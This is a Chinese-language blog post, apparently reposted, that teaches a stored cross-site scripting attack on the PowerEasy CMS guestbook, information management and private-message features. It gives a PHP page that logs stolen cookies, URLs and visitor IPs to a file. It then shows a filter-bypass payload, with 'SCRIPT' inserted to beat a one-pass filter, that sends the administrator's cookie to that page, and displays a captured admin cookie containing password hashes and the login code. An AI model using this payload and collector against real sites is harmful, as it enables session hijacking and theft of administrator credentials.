鬼仔注:从7j那里看到的,并且有7j写的接收页面。
7j:没有找到他说的接收页面,只有自已用PHP写个了
$filename = date("Ymd").".txt";
$time = @date("Y年m月d号H点i分s秒",time());
$cookie = $_POST['cookie'];
$url = $_POST['url'];
$hostname = $_POST['hostname'];
if ($cookie <> ""){
$tmp = fopen($filename,"a+");
fwrite($tmp,"地址:".$url."\n主机:".$hostname."\nCookie:".$cookie."\nIP:".$_SERVER['REMOTE_ADDR']."\n".$time."\n");
fclose($tmp);
}
?>
来源:′失眠ヤ夜 's blog
漏洞主要出现在“雁过留声(留言板)”、“信息管理”和“短消息”里,这里以留言板为例
下面我们来测试一下漏洞
打开留言板,选择源代码模式签写留言
审核发表状态下钓到管理员Cookies的几率比较到
我们先来试试一些文字
输入<>未被过滤
输入
输入scrSCRIPTipt会过滤成script(去掉了中间的大写SCRIPT)
看 漏洞出来了
也就是说它会把"Script"字符过滤掉,但是只过滤一次,给了我们可乘之机
(iframe标签你可以自己测试)
下面是一个获得Cookies的代码,会把Cookies提交到http://localhost/cookies/cookies.asp,相关的代码我会打包到教程里
现在我们在一些可能的敏感字符中插入SCRIPT字符,以防我们的代码被过滤
更改后的代码如下:
rSCRIPTedir.cooSCRIPTkie.valSCRIPTue=docSCRIPTument.coSCRIPTokie;redSCRIPTir.urSCRIPTl.vaSCRIPTlue=locSCRIPTation.hrSCRIPTef;redSCRIPTir.hostnamSCRIPTe.vaSCRIPTlue=locatiSCRIPTon.hostnSCRIPTame;redSCRIPTir.subSCRIPTmit();
现在我们发表留言
看 数据库里的代码是我们修改前的代码
现在以管理员身份登录
现在我们保存cookies的数据库是空的
这是我发送的钓Cookies的网页
好的,现在代码已经执行,管理员的Cookies已经被我们钓到了
我们来看一下
ASPSESSIONIDQCRQQSAT=LCNFLHOBLBPHEJJMHJDPDMGF; localhostpowereasy=LastPassword=4P263W7JiD425kyd&UserName=admin&AdminLoginCode=PowerEasy2006&AdminName=admin&UserPassword=469e80d32c0559f8&RndPassword=4P263W7JiD425kyd&AdminPassword=469e80d32c0559f8
怎么样?得到了吧?
里面有管理员的用户名、密码,和管理认证码
信息管理和短消息也可以如法炮制,具体方法我就不多说了
在这里说一下 拿到源码后先要修改一下设置,conn.asp里的数据库路径要改一下
还有test.htm里的URL也要改一下,可以用它做测试